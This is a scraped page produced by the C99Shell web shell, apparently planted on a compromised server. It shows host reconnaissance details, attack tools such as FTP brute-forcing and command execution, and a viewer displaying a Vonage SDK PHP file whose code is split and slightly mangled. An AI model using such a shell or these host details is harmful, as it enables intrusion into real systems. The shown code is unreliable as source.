!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/vonage/client-core/src/Users/   drwxr-xr-x
Free 28.48 GB of 117.98 GB (24.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Client.php (1.98 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Vonage\Users;

use 
Vonage\Client\APIClient;
use 
Vonage\Client\APIResource;
use 
Vonage\Client\ClientAwareInterface;
use 
Vonage\Client\ClientAwareTrait;
use 
Vonage\Client\Exception\Exception as ClientException;
use 
Vonage\Entity\Filter\EmptyFilter;
use 
Vonage\Entity\Hydrator\HydratorInterface;
use 
Vonage\Entity\IterableAPICollection;
use 
Vonage\Entity\Filter\FilterInterface;

use function 
is_null;

class 
Client implements ClientAwareInterfaceAPIClient
{
    use 
ClientAwareTrait;

    public function 
__construct(protected APIResource $api, protected ?HydratorInterface $hydrator null)
    {
    }

    public function 
getApiResource(): APIResource
    
{
        return 
$this->api;
    }

    public function 
listUsers(?FilterInterface $filter null): IterableAPICollection
    
{
        if (
is_null($filter)) {
            
$filter = new EmptyFilter();
        }

        
$response $this->api->search($filter);
        
$response->setHydrator($this->hydrator);
        
$response->setPageSizeKey('page_size');
        
$response->setHasPagination(false);

        return 
$response;
    }

    public function 
createUser(User $user): User
    
{
        
$response $this->api->create($user->toArray());

        return 
$this->hydrator->hydrate($response);
    }

    public function 
getUser(string $id): User
    
{
        
$response $this->api->get($id);
        return 
$this->hydrator->hydrate($response);

        return 
$returnUser;
    }

    public function 
updateUser(User $user): User
    
{
        if (
is_null($user->getId())) {
            throw new 
\InvalidArgumentException('User must have an ID set');
        }

        
$response $this->api->partiallyUpdate($user->getId(), $user->toArray());

        return 
$this->hydrator->hydrate($response);
    }

    public function 
deleteUser(string $id): bool
    
{
        try {
            
$this->api->delete($id);
            return 
true;
        } catch (
ClientException) {
            return 
false;
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--